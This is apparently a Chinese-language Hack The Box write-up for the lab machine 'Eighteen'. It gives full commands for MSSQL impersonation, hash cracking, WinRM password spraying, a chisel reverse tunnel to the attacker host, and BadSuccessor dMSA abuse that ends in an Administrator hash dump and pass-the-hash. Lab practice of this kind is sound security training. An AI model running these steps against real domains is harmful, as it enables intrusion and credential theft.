Eighteen（HTB Easy）

基本信息

  • IP：10.129.34.100
  • VPN：10.10.16.177
  • 域名：eighteen.htb / dc01.eighteen.htb

信息收集

sudo echo 10.129.34.100 Eighteen.htb dc01.eighteen.htb >> /etc/hosts

网页先随便注册一个账号。端口扫描：

rustscan -b 924 -t 2000 -a 10.129.34.100 --range 1-6000 --scan-order "Random"

Open 10.129.34.100:5985
Open 10.129.34.100:1433
Open 10.129.34.100:80

rustscan -b 924 -a 10.129.34.100 -p 80,1433,5985 --scan-order "Random"

PORT     STATE SERVICE  REASON
80/tcp   open  http     syn-ack ttl 127
1433/tcp open  ms-sql-s syn-ack ttl 127
5985/tcp open  wsman    syn-ack ttl 127

WinRM 用默认凭据失败；MSSQL 只接受本地认证：

nxc winrm eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!'
nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!'
nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth

MSSQL       10.129.34.100   1433   DC01             [+] DC01\kevin:iNa2we6haRj2gaw!

User

/usr/share/doc/python3-impacket/examples/mssqlclient.py eighteen.htb/kevin:'iNa2we6haRj2gaw!'@eighteen.htb

xp_cmdshell 没权限。枚举库：

enum_db

name                is_trustworthy_on
-----------------   -----------------
master                              0
tempdb                              0
model                               0
msdb                                1
financial_planner                   0

kevin 进不了 financial_planner。登录名里还有 appdev，且 kevin 可模拟：

enum_impersonate

execute as   permission_name   grantee   grantor
LOGIN        IMPERSONATE       kevin     appdev

RID 枚举域用户：

nxc mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute

1606: EIGHTEEN\jamie.dunn
1607: EIGHTEEN\jane.smith
1608: EIGHTEEN\alice.jones
1609: EIGHTEEN\adam.scott
1610: EIGHTEEN\bob.brown
1611: EIGHTEEN\carol.white
1612: EIGHTEEN\dave.green

cat users.txt | grep -oP 'EIGHTEEN\\\w+\.\w+' | cut -d '\' -f2 | tee user

模拟 appdev 读库：

EXECUTE AS LOGIN = 'appdev'
use financial_planner
SELECT * FROM financial_planner.INFORMATION_SCHEMA.TABLES;
select * from users;

[email protected]
pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133

转成 hashcat 10900：

import base64
hash = 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'
salt = hash.split('$')[1]
key = hash.split('$')[2]
print(f'{":".join(hash.split("$")[0].split(":")[1:])}:{base64.b64encode(salt.encode()).decode("utf-8")}:{base64.b64encode(bytes.fromhex(key)).decode()}')

python3 hash_convert.py > hash
hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt

密码：iloveyou1。WinRM 喷洒：

nxc winrm dc01.eighteen.htb -u ./users.txt -p 'iloveyou1' --continue-on-success

[+] EIGHTEEN\adam.scott:iloveyou1 (Pwn3d!)

evil-winrm -i dc01.eighteen.htb -u adam.scott -p 'iloveyou1'

拿到 user.txt。

Root

BloodHound + PowerView：

upload /usr/share/sharphound/SharpHound.exe ./SharpHound.exe
.\SharpHound.exe -d eighteen.htb -c All
upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1 ./PowerView.ps1
. .\PowerView.ps1
Get-ObjectAcl -DistinguishedName "OU=Staff,DC=eighteen,DC=htb" | select-object SecurityIdentifier,ActiveDirectoryRights
ConvertFrom-SID "S-1-5-21-1152179935-589108180-1989892463-1604"

EIGHTEEN\IT  CreateChild

IT 组对 Staff OU 有 CreateChild，adam.scott 在 IT 组。Windows Server 2025 上可滥用 BadSuccessor（CVE-2025-53779）创建 dMSA 关联 Administrator。LDAP 强制签名，先建隧道：

chisel server --reverse -p 8080 -v --socks5

upload /home/geek/Downloads/chisel.exe ./chisel.exe
.\chisel.exe client 10.10.16.177:8080 R:socks

/etc/proxychains4.conf 加 socks5 127.0.0.1 1080。Kerberos 对时间敏感，对齐 DC：

curl -sI http://eighteen.htb | grep -i Date
sudo timedatectl set-ntp false
sudo date -s '<DC时间>'
sudo proxychains nxc ldap 10.129.34.210 -u 'adam.scott' -p 'iloveyou1' -M badsuccessor

[+] Found domain controller with operating system Windows Server 2025
IT (...), OU=Staff,DC=eighteen,DC=htb

创建 dMSA 并指向 Administrator：

proxychains -q nxc ldap dc01.eighteen.htb \
  -u adam.scott -p 'iloveyou1' \
  -M badsuccessor \
  -o TARGET_OU='OU=Staff,DC=eighteen,DC=htb' DMSA_NAME=pwn TARGET_ACCOUNT=Administrator

或在 WinRM 里：

.\SharpSuccessor.exe add /path:"OU=Staff,DC=eighteen,DC=htb" /account:adam.scott /name:attacker /impersonate:Administrator

请求票据（账户名带 $）再 dump：

proxychains -q getST.py eighteen.htb/adam.scott:iloveyou1 -impersonate 'attacker$' -self -dmsa -dc-ip 10.129.34.100
export KRB5CCNAME=attacker.ccache
proxychains secretsdump.py -k -no-pass -just-dc-user Administrator 'eighteen.htb/[email protected]'

公开 WP 中 Administrator NTLM 为 0b133be956bfaddf9cea56701affddec：

evil-winrm -i dc01.eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddec

读取 C:\Users\Administrator\Desktop\root.txt。至此拿到 Domain Admin。